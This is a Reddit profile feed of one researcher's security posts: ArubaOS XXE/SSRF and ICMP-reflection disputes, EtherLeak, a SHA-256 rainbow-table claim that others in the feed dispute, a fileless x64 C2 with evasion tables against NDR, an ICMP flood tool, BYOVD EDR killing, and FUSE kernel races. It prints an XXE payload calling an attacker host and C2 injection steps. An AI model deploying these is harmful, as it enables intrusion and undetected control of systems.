SHA256-CDP: GPU-accelerated rainbow tables using structural 
properties of SHA-256 — 2.5 GH/s build, 14 GH/s query on RX 9070 XT
▲ 30 r/blackhat+3 crossposts

SHA256-CDP: GPU-accelerated rainbow tables using structural properties of SHA-256 — 2.5 GH/s build, 14 GH/s query on RX 9070 XT

Released SHA256-CDP, a GPU rainbow table implementation built on

CDP (Cyclic Digit-sum Projection) — a structural analysis of SHA-256

output distribution I published earlier this year.

Core idea: SHA-256's hex-digit sum W(H) converges deterministically

into exactly two cycles under iteration. This structure yields a

bijective fingerprint enabling zero-collision rainbow chains.

Repo: https://github.com/JM00NJ/SHA256-CDP

Paper: https://doi.org/10.5281/zenodo.20627240

Tested on AMD RX 9070 XT — 96.3% coverage on 7-char lowercase

with 3 tables in ~43s per hash.

github.com
u/Pale_Surround_3924 — 12 days ago

r/cryptography moderation in action — and the response they muted me before I could send

Posted CDP: Cyclic Digit-sum Projection to r/cryptography.

Got "AI slop" with zero technical engagement. Sent a PoC.

Got muted for 28 days.

Before the mute landed, one mod did provide an actual argument:

"small cycles in a small state space are unremarkable."

Fair point; for cycle existence alone.

But that's not what the paper claims.

The claims that were never addressed:

- π_B = 17.00%, independent of K[i], H0, and input class (Theorem 5.4)

- Complement nibble sum invariant: Σnibble(W0) = 38 for all 256 pairs (Theorem 5.1)

- W(H0) = 502, +22.2 above equilibrium — detectable initialization signature

- Zero-collision bijection over 1.67M inputs: multi-component fingerprint

built by splitting the 64-char digest into 16 chunks of 4 hex digits,

computing chunk-wise sums; injective over every tested input space

- Section 12 explicitly states CDP does not break SHA-256

Cycles are the entry point, not the conclusion.

Full paper: https://doi.org/10.5281/zenodo.20633488

u/Pale_Surround_3924 — 12 days ago

Why r/NetaSec exists: Our mission for Security Research

Most security content online is the same recycled material. "Top 10 OWASP vulnerabilities." "How to use Metasploit." The same blog posts, rewritten a thousand times, optimized for SEO and ad revenue — not for anyone who actually knows what they're doing.

r/NetaSec exists because that content isn't enough.

This community was built for people who go deeper. Researchers who read RFCs instead of summaries. People who open Ghidra before they open Google. Engineers who think in terms of memory layouts, packet structures, and syscall tables — not just CVE scores and vendor advisories.

What makes this place different:

The bar here isn't "can a beginner understand this." It's "does this contribute something real." We're not here to gatekeep knowledge — we're here to protect its quality. Firmware reverse engineering, protocol-level analysis, binary exploitation, custom tooling, PCAP forensics, C2 architecture, EDR internals, bug bounty write-ups with actual technical depth — this is the kind of content that belongs here.

More importantly: no censorship of legitimate research. If your finding is real, your methodology is sound, and your intent is research — you can talk about it freely. The security field has a long history of burying inconvenient truths because they're "too dangerous to share." We don't do that here. Security through obscurity is not security.

What this is NOT:

This is not a place to distribute malware, sell stolen data, or run operations against systems you don't own. There's a clear line between research and crime — and it's not a gray area. Offensive research shared openly for the community to learn from is welcome. Weaponized tools handed to random actors are not.

Who is this for:

Bug bounty researchers. Malware analysts. Protocol engineers. Firmware RE guys. CTF players who got bored of CTFs and moved to real targets. People who have something technically meaningful to say and nowhere to say it without getting flagged by an overzealous automod.

If that's you — you're in the right place.

Build something worth reading.

reddit.com
u/Pale_Surround_3924 — 13 days ago

r/NetaSec — Welcome to the Community. Read Before You Post.

Hey everyone, I'm u/Pale_Surround_3924, the founding moderator of r/NetaSec.

This is the go-to place for everything related to low-level network security research, offensive tooling, protocol analysis, vulnerability research, and bug bounty write-ups. Whether you're reversing firmware, dissecting PCAP files, hunting CVEs, writing exploits, or building custom tooling — you're in the right place.

What Can You Share?
Share anything you find technically interesting, useful, or worth discussing. This includes CVE/CAN write-ups, PCAP analysis and network forensics, firmware RE findings, binary exploitation research, C2 architecture deep-dives, assembly-level security tooling, EDR/AV evasion analysis, and bug bounty reports from HackerOne and Bugcrowd. Share your findings, tooling, ideas, or open questions.

Community Vibe
What matters here is technical depth and intellectual honesty. This isn't a place for surface-level content — it's for researchers who go down to the packet level, the binary level, and beyond. Be direct, be rigorous, and be respectful of each other's work.

Getting Started

  1. Drop an intro comment below and tell us what you're working on.
  2. Make your first post — even a simple question can kick off a great technical thread.
  3. Know someone who'd fit in here? Invite them.
  4. Want to help moderate? We're always looking for technically sharp contributors. Reach out directly.

Thanks for being part of this from day one. Let's build r/NetaSec into something worth bookmarking.

reddit.com
u/Pale_Surround_3924 — 13 days ago
▲ 5 r/NetaSec+2 crossposts

CDP: Cyclic Digit-sum Projection — Structural Analysis of SHA-256 Output Distribution | Netacoding

Built a structural analysis framework for SHA-256 that exposes a previously undocumented property: the hex-digit sum of any SHA-256 output, when iteratively re-hashed, converges deterministically into exactly two closed cycles.

The practical result: a 38.6× pre-filter for constrained input spaces (password cracking wordlists, combinatoric sets). Candidates whose hashes would land in the wrong W-bucket get eliminated before full SHA-256 computation — measurable throughput improvement on GPU.

Also documented: bijective fingerprinting (zero collisions up to full enumeration of 1.67M inputs), input class inference from hash statistics, and an ergodic Markov property of SHA-256's compression function.

OpenCL implementation on AMD RX 9070 XT running at 4.6 GH/s.

Full writeup: https://netacoding.com/posts/cdp-sha256-structural-analysis

Paper (Zenodo): https://doi.org/10.5281/zenodo.20633488

netacoding.com
u/Pale_Surround_3924 — 21 days ago
▲ 7 r/NetaSec+2 crossposts

Pre-Authentication ICMP Reflection & Smurf Amplification in ArubaOS 8.13.2.0

ArubaOS 8.13.2.0 accepts spoofed ICMP Echo Requests without source validation and replies to broadcast source addresses, enabling reflection and Smurf amplification. Confirmed with two-machine wire-level evidence. Closed as expected functionality.

Vulnerability Description
Component 1 — No Source IP Validation (CWE-290)
The controller does not validate incoming ICMP Echo Request source IPs against MAC/IP bindings or apply reverse path filtering (BCP38/uRPF per RFC 2827). A packet with attacker MAC but victim IP is accepted. The controller ARP-resolves the spoofed source and delivers the reply to the victim.

Component 2 — Broadcast Source Reply (CWE-406)
ICMP Echo Request with Source IP 192.168.56.255 (subnet broadcast) causes the controller to reply to ff:ff:ff:ff:ff:ff, delivering the reply to every host on the L2 segment. Classic Smurf amplification — documented in CERT Advisory CA-1998-01.

netacoding.com
u/Pale_Surround_3924 — 23 days ago
▲ 21 r/ArubaNetworks+1 crossposts

Pre-auth XXE → HTTP SSRF on ArubaOS 8.13.2 closed as "theoretical / no valid PoC" despite TCP pcap, sshd localhost log, and internal port scan — documenting for community review

Pre-auth XXE on ArubaOS 8.13.2 port 32000 (default-xml-api, no auth required).

Evidence: TCP pcap + sshd 127.0.0.1 log + 9 internal ports via SSRF.

Closed as "theoretical / no valid PoC." Full writeup + PoC + pcap on GitHub.

netacoding.com
u/Pale_Surround_3924 — 25 days ago
▲ 6 r/blackhat+2 crossposts

Pre-auth XXE → HTTP SSRF on ArubaOS 8.13.2 closed as "theoretical / no valid PoC" despite TCP pcap, sshd localhost log, and internal port scan — documenting for community review

I'm publishing this writeup after exhausting the Bugcrowd dispute process (two RaRs, one expired without response, one answered with a template that doesn't apply to the submitted evidence). The goal is community review and transparency, not reputation damage.

The Finding

Target: ArubaOS 8.13.2.0 Build 95415 (HPE Aruba Networking, Bugcrowd program) Submission ID: 9e946ca3 Classification: CWE-611 — Improper Restriction of XML External Entity Reference Attack surface: Port 32000, AAA profile default-xml-api, no authentication required by design

A crafted XML payload with an external entity reference forces the controller to resolve attacker-controlled URIs. This is a pre-authentication attack surface — no credentials, no session token, no prior access required.

Payload (simplified):

xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://<attacker-ip>:9999/test">]>
<aruba><opcode>&xxe;</opcode></aruba>

Evidence Submitted

1. Wire-level packet capture (obb_proof.pcapng)

Wireshark capture confirms:

192.168.56.50:54216 → 192.168.56.102:9999
TCP 3-way handshake complete
GET /test HTTP/1.0
Host: <attacker-ip>:9999
49 bytes, t=0.023s

This is HTTP over TCP. Not a DNS request. The controller initiated the outbound connection.

2. Server-side sshd log (target system's own logs)

May 13 07:31:56 |sshd| Bad protocol version identification
'GET / HTTP/1.0' from 127.0.0.1 port 33144

This log exists because the SSRF payload forced the controller to connect to its own port 22. A 127.0.0.1-sourced TCP connection to sshd cannot originate from any external actor. This is the target system recording its own compromise.

3. Internal port scan via SSRF

SSRF probes against 127.0.0.1 returned <dialog>success</dialog> for:

  • Port 22 (SSH)
  • Port 80 / 443 / 8080 / 8443 (web interfaces)
  • Port 3306 (MySQL)
  • Port 5432 (PostgreSQL)
  • Port 9200 (Elasticsearch)

Per the program's own triage criteria: "Access to internal services or port scanning results" — this is criterion #1 verbatim.

4. External DTD fetch — 3 confirmed requests

Attacker HTTP server logs:

192.168.56.50 - [06/May/2026 02:33:43] GET /evil.dtd HTTP/1.0 200
192.168.56.50 - [06/May/2026 02:36:10] GET /evil.dtd HTTP/1.0 200
192.168.56.50 - [06/May/2026 02:38:17] GET /evil.dtd HTTP/1.0 200

5. Companion submission 0c716fec (same endpoint)

A second submission against the same port 32000 endpoint demonstrates a full FTP SSRF session including RETR command execution, corroborated by packet capture showing 3 independent TCP connections.

Triage Timeline

Date Event
May 6 Submission created with pcap, proof.png, xxe_full_poc.py
May 10 Closed: "theoretical / no valid PoC"
May 11 RaR #1 submitted — expired 15 days later with no response
May 13 sshd log evidence added to thread
May 28 RaR #2 submitted — explicitly asked triage to explain how 127.0.0.1 sshd log is consistent with "theoretical"
June 10 Response received: "Receiving a DNS hit does not prove internal access"

The June 10 response applied a DNS-hit template to a submission that contains zero DNS evidence. The submitted evidence is TCP/HTTP, not DNS. The template is factually inapplicable.

Technical Classification

CWE-611 does not require in-band data exfiltration to be valid. OOB callback confirming external entity resolution on a pre-authentication endpoint is the vulnerability. This is consistent with:

  • OWASP XXE Prevention Cheat Sheet
  • PortSwigger XXE research
  • Standard VRT taxonomy for XXE → OOB SSRF

The absence of in-band file reflection is a parser implementation detail, not an indication that the vulnerability is absent.

Reproduction

The full PoC script (xxe_full_poc.py) reproduces the finding deterministically in under 30 seconds. 11 TCP connections to port 32000 are visible in pcap, corresponding to 9 port scan probes + 2 setup steps.

GitHub: HPE-Aruba-AOS8-Vulnerabilities/01-xxe-http-ssrf

(Screenshots attached: triage thread, pcap, sshd log, port scan output)

Researcher: Vesqer / JM00NJ — netacoding.com

u/Pale_Surround_3924 — 25 days ago

EtherLeak: IP Total Length Over-read via Ethernet Frame Padding | Netacoding

Background

In 2003, CVE-2003-0001 documented that multiple NIC drivers leaked kernel memory through Ethernet frame padding — extractable via ICMP Echo. In 2021, Palo Alto disclosed CVE-2021-3031: the same class of issue on PA-series firewalls, affecting every model from PA-200 to PA-7000. In 2026, independent research confirmed the mechanism alive in enterprise network infrastructure.

The vulnerability has a name — EtherLeak — a simple root cause, and a consistent lifecycle: discovered, patched in one product, rediscovered in another. This post documents the mechanism in full.

The Ethernet Minimum Frame Problem

Ethernet has a minimum frame size requirement of 60 bytes (excluding the 4-byte FCS). This minimum exists for collision detection in half-duplex environments (the slot time constraint from 10BASE5).

When the actual payload is smaller than the minimum, the NIC pads the frame to reach 60 bytes:

[ Ethernet Header (14B) ][ IP Header (20B) ][ ICMP Header (8B) ][ Padding (18B) ]
= 14 + 20 + 8 + 18 = 60 bytes ✓

The critical question: what goes into those 18 bytes of padding?

The answer depends on the NIC driver and operating system:

  • Well-implemented stacks: padding is zeroed before transmission.
  • Poorly-implemented or legacy drivers: padding contains whatever was in the DMA ring buffer slot from the previously processed frame.

In the latter case, those 18 bytes can contain fragments of:

  • Previous frame payloads (management traffic, credentials, session tokens)
  • Source/destination MAC addresses and IP addresses from adjacent frames
  • Partial application-layer data from in-flight management connections

The Vulnerability Mechanism

IP Total Length vs. Actual Frame Data

The IP header contains a Total Length field (bytes 2-3) declaring the total size of the IP datagram. The ICMP Echo handler uses this field to determine how much payload to echo back:

icmp_payload_length = IP_Total_Length - IP_Header_Length - ICMP_Header_Length
                    = IP_Total_Length - 20 - 8
                    = IP_Total_Length - 28

A standards-compliant implementation validates this value against the actual received frame length. A vulnerable implementation trusts it unconditionally.

When an attacker sends a packet with IP_Total_Length inflated beyond the actual IP data:

Attacker sends:
  Actual IP data:  28 bytes (IP header + ICMP header, no payload)
  IP_Total_Length: 46       (claims 18 bytes of payload exist)
  Wire frame:      42 bytes actual + 18 bytes NIC padding = 60 bytes

Vulnerable handler calculates:
  icmp_payload = 46 - 28 = 18 bytes
  Reads 18 bytes starting after the ICMP header
  → Reads INTO the NIC padding area
  → Echoes back whatever is there

The reply mirrors the inflated IP_Total_Length, confirming the over-read occurred.

Threshold Determination

The maximum exploitable IP_Total_Length is bounded by the Ethernet minimum frame size:

Maximum IP_Total_Length = Ethernet minimum frame - Ethernet header
                        = 60 - 14
                        = 46 bytes
→ Maximum over-read = 46 - 28 = 18 bytes

Values above 46 cause the handler to read beyond the minimum Ethernet frame boundary — at which point behavior becomes implementation-specific. Empirically, many stacks drop these packets silently.

IP_Total_Length Actual IP Data Over-read Expected Behavior
28 28 0 bytes Normal reply
29 28 1 byte Reply — 1B over-read
36 28 8 bytes Reply — 8B over-read
46 28 18 bytes Reply — maximum over-read
48+ 28 Typically dropped

more on blog...

netacoding.com
u/Pale_Surround_3924 — 28 days ago

Update : Release Ghost-C2 v3.6.3 — "DNS Domain Rotation & Protocol Hardening" · JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent

Ghost-C2 v3.6.3 — "DNS Domain Rotation & Protocol Hardening"

DNS Module — Client (master console)

  • Domain rotation: Removed user input flow and _translate_dns_name Replaced with fixed 5-entry pool: github, microsoft, cloudflare, google, windows
  • Per-packet rotation: Each command uses a different domain via domain_idx (BSS)
  • QTYPE: TXT 0x01001000 → A record 0x01000100
  • Encoding: Added Base32 RFC 4648 lowercase

DNS Module — Agent (sniff.asm)

  • Domain rotation: Removed static fake_domain reference Replaced with 5-entry domain_pool + [rbp+0x3020] anchor index
  • QTYPE: A record
  • Base32: Added b32_alpha + b32_char_cnt lookup tables
  • Decode fixcmp al, '2' → cmp al, 'a' Silent command corruption bug caused by incorrect base32 decode threshold

Bug Fixes

  • Verified all domain_pool entries at exactly 20 bytes
  • Boundary wrap: cmp al/rax, 6 → 5 (OOB read on index rollover)
  • Beacon size check: cmp rax, 32 → 28

Removed

  • raw_domaindns_domain_translate_dns_namemsg_domain_name
  • Static fake_domain reference (sniff.asm)
  • ICMP decoy send logic (_icmp_recv)

Evasion Status

Surface Status Risk
DNS QTYPE A record ✅ Low
Domain rotation 5-domain per-packet ✅ Low
Base32 encoding RFC 4648 lowercase ✅ Low
LCG jitter 100–1000ms adaptive ✅ Low
ICMP decoy pattern Removed ✅ Low
Chunk size variance Fixed 35B ⚠️ Medium
ICMP payload size Fixed 80B ⚠️ Medium
DNS response simulation Not implemented ⚠️ High (ML-based NDR only)

>

Planned

  • v3.6.4: DNS response simulation — master and agent will return synthetic A record responses (QR=1, RCODE=0) to eliminate the unanswered query anomaly detected by ML-based NDR (Darktrace)
github.com
u/Pale_Surround_3924 — 28 days ago

CWE-290 at Layer 3: IP Source Spoofing and uRPF Failure in Enterprise Wireless Infrastructure | Netacoding

Background

CWE-290 — Authentication Bypass by Spoofing — is documented almost exclusively in application-layer context. The canonical example across every security reference is a Java or Python snippet that trusts request.getRemoteAddr() or getHeader("X-Forwarded-For") without validation.

That framing misses the more fundamental case: IP source address spoofing at Layer 3, where no application code is involved, the bypass happens in the kernel network stack, and the affected surface is the entire infrastructure layer of an enterprise network.

This post covers CWE-290 as a network-layer weakness: what enables it, what uRPF is and why it fails in enterprise deployments, and how its absence is the common root cause behind multiple distinct attack classes — Smurf amplification, ICMP timestamp leaks, and pre-auth reflection — confirmed in shipping enterprise wireless infrastructure.

What CWE-290 Means at Layer 3

At the application layer, CWE-290 means trusting a client-supplied identifier. At Layer 3, it means accepting a packet’s source IP address as authentic without verifying it against the routing topology.

Application layer (documented everywhere):
  server trusts HTTP header → attacker forges header → bypass

Network layer (this post):
  router/host trusts IP src field → attacker forges src IP → bypass

The IP source field is entirely attacker-controlled. Nothing in the IP protocol prevents a host from crafting a packet with an arbitrary source address. The kernel will transmit it. The receiving host will process it as if it originated from that address.

The only defense is uRPF — a mechanism that validates whether the incoming interface is consistent with the claimed source address. When uRPF is absent, source addresses are accepted unconditionally. That is CWE-290 at Layer 3.

More on blog..

netacoding.com
u/Pale_Surround_3924 — 28 days ago

Update ; Ghost-C2 v3.6.3 — "DNS Domain Rotation & Protocol Hardening"

Ghost-C2 v3.6.3 — "DNS Domain Rotation & Protocol Hardening"

DNS Module — Client (master console)

  • Domain rotation: Removed user input flow and _translate_dns_name Replaced with fixed 5-entry pool: github, microsoft, cloudflare, google, windows
  • Per-packet rotation: Each command uses a different domain via domain_idx (BSS)
  • QTYPE: TXT 0x01001000 → A record 0x01000100
  • Encoding: Added Base32 RFC 4648 lowercase

DNS Module — Agent (sniff.asm)

  • Domain rotation: Removed static fake_domain reference Replaced with 5-entry domain_pool + [rbp+0x3020] anchor index
  • QTYPE: A record
  • Base32: Added b32_alpha + b32_char_cnt lookup tables
  • Decode fixcmp al, '2' → cmp al, 'a' Silent command corruption bug caused by incorrect base32 decode threshold

Bug Fixes

  • Verified all domain_pool entries at exactly 20 bytes
  • Boundary wrap: cmp al/rax, 6 → 5 (OOB read on index rollover)
  • Beacon size check: cmp rax, 32 → 28

Removed

  • raw_domaindns_domain_translate_dns_namemsg_domain_name
  • Static fake_domain reference (sniff.asm)
  • ICMP decoy send logic (_icmp_recv)

Evasion Status

Surface Status Risk
DNS QTYPE A record ✅ Low
Domain rotation 5-domain per-packet ✅ Low
Base32 encoding RFC 4648 lowercase ✅ Low
LCG jitter 100–1000ms adaptive ✅ Low
ICMP decoy pattern Removed ✅ Low
Chunk size variance Fixed 35B ⚠️ Medium
ICMP payload size Fixed 80B ⚠️ Medium
DNS response simulation Not implemented ⚠️ High (ML-based NDR only)

>

Planned

  • v3.6.4: DNS response simulation — master and agent will return synthetic A record responses (QR=1, RCODE=0) to eliminate the unanswered query anomaly detected by ML-based NDR (Darktrace)
reddit.com
u/Pale_Surround_3924 — 28 days ago
▲ 1 r/blackhat+2 crossposts

Built a network stress testing tool that combines x86-64 Assembly for precision packet crafting with Python multiprocessing for transmission.
What it does:
Crafts malformed nested ICMP packets — a spoofed Echo Request encapsulated inside a Type 3 Code 3 Destination Unreachable message, with an intentional “negative zero” (0xFFFF) checksum to stress-test stateless packet parsers.
Technical highlights:
• Pure x64 ASM packet engine compiled as shared object
• RFC 1071 checksum implemented in ASM
• RDTSC-based dynamic IP ID generation
• AF_PACKET Layer 2 bypass — no OS IP stack involvement
• ~500k PPS on USB WiFi NIC with txqueuelen tuning
Most effective against stateless devices (routers, IoT, simple firewalls) that must process every ICMP error message.
Full write-up + technical breakdown:

netacoding.com/posts/icmp_encapsulation/

GitHub: github.com/JM00NJ/Nested-ICMP-Exploitation

Note: A future update will remove the Python layer entirely, moving to a pure Assembly implementation with direct syscalls — bringing the tool to its theoretical maximum performance ceiling.

u/Pale_Surround_3924 — 2 months ago

Built a fileless pure x64 Assembly C2 framework with dual-channel protocol pivoting (ICMP/DNS) and VTable-based architecture. Zero libc dependencies, no disk writes. Curious what the community thinks about pure assembly vs compiled languages for detection surface reduction.

Architecture diagram:
┌─────────────────────────────────────────────────────────────┐

│ OPERATOR MACHINE │

│ │

┌──────────────┐

│ │ client.asm │ ← Terminal UI: Prompt IP/Domain + Cmd │

│ │ (Operator │ Encrypts payload with Rolling XOR │

│ │ Console) │ State Sync: ICMP mode / DNS mode │

└──────****┬───────┘

│ │ │

└──────────****┼──────────────────────────────────────────────────┘

│ Channel 1: Raw ICMP (Stateless, Port-less)

│ Channel 2: DNS UDP Port 53 (Asymmetric)

┌──────────****┼──────────────────────────────────────────────────┐

│ │ TARGET MACHINE │

│ ▼ │

┌──────────────┐ ┌─────────────────────────────────┐

│ │ loader.asm │────▶│ sniff.asm (PIC) │ │

│ │ (Phantom │ │ Lives in RAM only │ │

│ │ Loader) │ │ inside host process │ │

└──────────────┘ └────────────────****┬────────────────┘

│ │ │

│ 1. Scans /proc for target PID │ Listens ICMP/DNS │

│ 2. ptrace ATTACH │ Validates Auth │

│ 3. Force remote mmap (RW) │ Decrypts command │

│ 4. Inject PIC shellcode │ fork+execve │

│ 5. mprotect → RX │ memfd\_create │

│ 6. Redirect RIP → shellcode │ Compress(DPCM-RLE)│

│ 7. ptrace DETACH → exits │ Encrypt & Frag. │

│ │ Sends Reply │

└─────────────────────────────────────────****┼───────────────────┘

│ Encrypted Traffic

\[ client.asm \]

Receives & Validates

Decrypts Payload

Decompresses (Hybrid)

Reassembles & Prints

Source + writeup: [https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent\](https://github.com/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent)

reddit.com
u/Pale_Surround_3924 — 2 months ago

Two Approaches to EDR Evasion: Kernel-Level BYOVD vs User-Space Injection | Netacoding

The Question Everyone Gets Wrong

When ransomware groups started using BYOVD to kill EDR products at scale, a natural assumption followed: kernel-level access is the gold standard for evasion. Kill the detector, and you can do anything.

That assumption is partially correct — and partially a distraction.

There is a second class of evasion that operates on a completely different principle: not killing the detector, but becoming invisible to it. These two approaches are not variants of the same technique. They are different threat models, operating at different privilege levels, targeting different layers of the stack.

This post breaks down both approaches with technical precision — including where each actually lives in the privilege ring model.

Approach 1: BYOVD — Kill the Detector

What It Is

Bring Your Own Vulnerable Driver is a Windows kernel exploitation technique. The attacker loads a legitimately signed but vulnerable kernel driver onto the target system, exploits a flaw in that driver to reach Ring 0, and from kernel space terminates EDR processes, unregisters kernel callbacks, and operates without interference.

Why It Works

Windows requires all kernel drivers to carry a valid Authenticode signature from a trusted certificate authority. This is a security feature — but it creates a paradox. A driver signed by a legitimate vendor years ago that contains an arbitrary read/write vulnerability will load on a modern system unless it is explicitly blocklisted.

The attacker does not exploit the OS. They bring a known-vulnerable but trusted driver and exploit it. Windows sees a valid signature and allows the load.

The Attack Chain

User-space process (Ring 3)
    ↓
Load signed vulnerable driver (e.g., rwdrv.sys, hlpdrv.sys)
    ↓
Exploit driver vulnerability → arbitrary kernel  (Ring 0)
    ↓
Unregister EDR kernel callbacks
    ↓
Terminate EDR processes from kernel space
    ↓
EDR is dead — ransomware runs freely

What It Accomplishes

BYOVD’s goal is destruction of the detection layer. After a successful BYOVD attack, the EDR process is terminated or rendered non-functional. The attacker now operates in an environment where the primary detection tool no longer exists.

Active ransomware operations using BYOVD in 2026 include Qilin, Warlock, Akira, and Medusa — deploying tools like EDRKillShifter, AbyssKiller, and CardSpaceKiller. ESET Research currently tracks nearly 90 distinct EDR killer tools in active use.

Limitations

  • Windows-only — the Windows driver trust model is the prerequisite
  • Noisy at load time — driver load events (Event ID 12) are monitored
  • Blocklists exist — Microsoft maintains a vulnerable driver blocklist; known drivers get blocked
  • Attribution-friendly — specific drivers are associated with specific groups
  • Requires admin/SYSTEM — you need elevated privileges before BYOVD can begin

​

more on the blog
netacoding.com
u/Pale_Surround_3924 — 2 months ago
▲ 2 r/NetaSec+1 crossposts

The Async Abort Race: drop_caches × SIGKILL × fuse_abort_conn = Double Put — Part 4 & Conclusion | Netacoding

Part 4 — The Async Abort Race: drop_caches × SIGKILL × fuse_abort_conn = Double Put

The first two vulnerability classes are loud. Heap overflows trip KASAN. Page cache wrap-arounds spray panics. They’re surgical, but they scream.

This one is silent.

This is the bug class that survives fuzzers, hides behind three independent kernel actors that never interact in unit tests, and detonates in the slab allocator hours after the malicious daemon has already exited. Three actors — a dying userspace process, a janitor sysctl, and a delayed FUSE teardown thread — race over a single struct fuse_req. None of them know the others exist. The struct inode they’re all silently fighting over gets freed, reallocated, and stomped.

This is the DirtyCred-class primitive of the FUSE subsystem.

4.1 The struct fuse_req Lifecycle: Borrowed References and Atomic Lies

Every kernel-to-daemon round-trip is encapsulated in a struct fuse_req. Stripped down, the relevant fields look like this across v5.x – v6.x:

struct fuse_req {
    struct list_head    list;          /* fpq->processing / fpq->io linkage */
    struct fuse_args   *args;
    refcount_t          count;         /* atomic_t in pre-v5.7 */
    unsigned long       flags;         /* FR_PENDING, FR_SENT, FR_FINISHED,
                                          FR_INTERRUPTED, FR_ASYNC, FR_LOCKED */
    struct fuse_in_header  in;
    struct fuse_out_header out;
    struct fuse_mount  *fm;
    /* request payload — implicitly tied to the originating inode */
    /* prior to v5.4: explicit struct inode *inode pointer */
    /* post-v5.4: implicit via fm->sb and args */
};

The refcount_t count (formerly atomic_t before commit ec99f6d3 hardened the type) is the only thing standing between this object and the SLUB allocator. When it hits zero in fuse_put_request(), the request is freed via kmem_cache_free(fuse_req_cachep, req).

Here is the architectural sin. A fuse_req carrying an in-flight read or write implicitly depends on the originating struct inode and struct dentry remaining live for the duration of the request. But the request structure does not bump i_count on the inode. It operates on a borrowed reference — the assumption being that the struct file held by the user process will pin the inode via fput() semantics, and the struct file won’t be released until the I/O completes.

That assumption is a lie the moment a SIGKILL enters the picture.

4.2 Step 1 — The Stall: SIGKILL, FUSE_INTERRUPT, and the Hostage Request

The execution sequence begins with a perfectly normal synchronous read against a FUSE-backed file:

[user] read(fd, buf, 4096)
   → vfs_read()
   → fuse_file_read_iter()
   → fuse_simple_request()
   → request_wait_answer()
   → wait_event_interruptible(req->waitq, test_bit(FR_FINISHED, &req->flags))

The request is now sitting on fpq->processing (the per-connection processing queue), waiting for the userspace daemon to deliver a reply via /dev/fuse.

A second process delivers SIGKILL to the reader. The signal wakes wait_event_interruptible(), which returns -ERESTARTSYS. The kernel cannot simply abandon req — the daemon still holds its ID and will eventually reply into the same memory. Instead, FUSE escalates:

/* fs/fuse/dev.c — request_wait_answer(), simplified */
err = wait_event_interruptible(req->waitq,
                               test_bit(FR_FINISHED, &req->flags));
if (!err)
    return;

set_bit(FR_INTERRUPTED, &req->flags);
/* Queue a FUSE_INTERRUPT op carrying req->in.h.unique */
queue_interrupt(req);

/* Now wait UNINTERRUPTIBLY for the daemon to acknowledge */
err = wait_event_killable(req->waitq,
                          test_bit(FR_FINISHED, &req->flags));

struct fuse_interrupt_in { uint64_t unique; } is queued to the daemon. The kernel is now committed: it must wait for the daemon to either complete the original op or acknowledge the interrupt before the fuse_req can be reaped.

A malicious daemon simply ignores the FUSE_INTERRUPT. No reply, no acknowledgment. The wait_event_killable() returns when the task is reaped, the user process exits, do_exit() calls exit_files(), which calls fput() on the file descriptor — and the struct file is released.

But req is still parked on fpq->processing, still flagged FR_SENT | FR_INTERRUPTED, still carrying implicit references to the inode whose backing struct file just died.

The hostage situation is established.

more on the blog
netacoding.com
u/Pale_Surround_3924 — 2 months ago
▲ 8 r/NetaSec+1 crossposts

Boundary Mathematics: Weaponizing PAGE_SHIFT Arithmetic via FUSE — Part 3 | Netacoding

Part 3 — Boundary Mathematics: When PAGE_SHIFT Eats Itself

The previous section was about lying to allocators. This section is about lying to arithmetic.

The Linux memory management subsystem is built on a foundation that assumes file sizes are sane. Not bounded by hardware, not bounded by physics — bounded by code. Specifically bounded by MAX_LFS_FILESIZE, a single macro that every VFS path is supposed to enforce before any byte offset gets shifted into a page index. When a malicious FUSE daemon returns attr.size = 0xFFFFFFFFFFFFFFFF in response to a vfs_getattr call, it is not just lying about a file’s size. It is feeding poison into bitwise expressions that the kernel will evaluate hundreds of times per second across mm/filemap.cmm/mmap.cmm/readahead.c, and the entire folio infrastructure.

The math breaks. And when math breaks in the page cache, the XArray walks off a cliff.

3.1 The Constants That Are Supposed To Save You

Let’s nail down the invariants the kernel relies on. From include/linux/fs.h on a modern 64-bit build:

/* include/linux/fs.h */
#if BITS_PER_LONG == 32
#define MAX_LFS_FILESIZE   (((loff_t)PAGE_SIZE << (BITS_PER_LONG-1)) - 1)
#elif BITS_PER_LONG == 64
#define MAX_LFS_FILESIZE   ((loff_t)LLONG_MAX)
#endif

On x86_64 / arm64 / riscv64, MAX_LFS_FILESIZE evaluates to 0x7FFFFFFFFFFFFFFF. That high bit being clear is not cosmetic — it exists specifically to prevent the maximum file size from being interpreted as a negative loff_t (which is signed) anywhere in the kernel.

Then we have the page-shift constants:

/* include/asm-generic/page.h and arch-specific overrides */
#define PAGE_SHIFT      12              /* 4 KiB pages, standard */
#define PAGE_SIZE       (1UL << PAGE_SHIFT)     /* 0x1000 */
#define PAGE_MASK       (~(PAGE_SIZE - 1))      /* 0xFFFFFFFFFFFFF000 */

And the type that everything iterates over:

/* include/linux/types.h */
typedef unsigned long pgoff_t;          /* 64-bit on LP64 */

pgoff_t is unsigned. There is no underflow detection. There is no overflow detection. There are only bits, and the bits do exactly what bits do when you tell them to.

FUSE’s super-block initialization correctly clamps:

/* fs/fuse/inode.c — fuse_fill_super_common() */
sb->s_maxbytes = MAX_LFS_FILESIZE;

That’s the gate. That’s the only gate. And it gates the superblock, not individual inode metadata refreshes. Once a FUSE daemon has the connection established, every subsequent FUSE_GETATTR reply can mutate inode->i_size to any 64-bit value it wants. The s_maxbytes check is not re-applied per-getattr in the hot paths — it is checked at write extension time (generic_write_check_limits()), not at read time, and not when mm/ subsystems synthesize page indices from a freshly-poisoned i_size.

The gate is open. The math begins.

more on the blog
netacoding.com
u/Pale_Surround_3924 — 2 months ago
▲ 3 r/NetaSec+2 crossposts

Lying to the Kernel: FUSE Trust Boundary & Size Desync as a VFS Attack Surface — Part 1 | Netacoding

Lying to the Kernel: FUSE Daemon Desynchronization as a VFS Attack Surface

Part 1 & 2 of a deep-dive series on weaponizing the userspace filesystem trust boundary against modern Linux kernels (v5.x – v6.x).

Part 1 — The FUSE Trust Boundary: Where the Kernel Drinks Poison

The Linux Virtual File System is a masterpiece of pragmatic engineering. It abstracts away the brutal differences between ext4’s extent trees, XFS’s B+trees, NFS’s RPC plumbing, and tmpfs’s pure-RAM gymnastics behind four sacred objects:

struct super_block;   // the mount
struct inode;         // the metadata
struct dentry;        // the path cache
struct file;          // the open fd

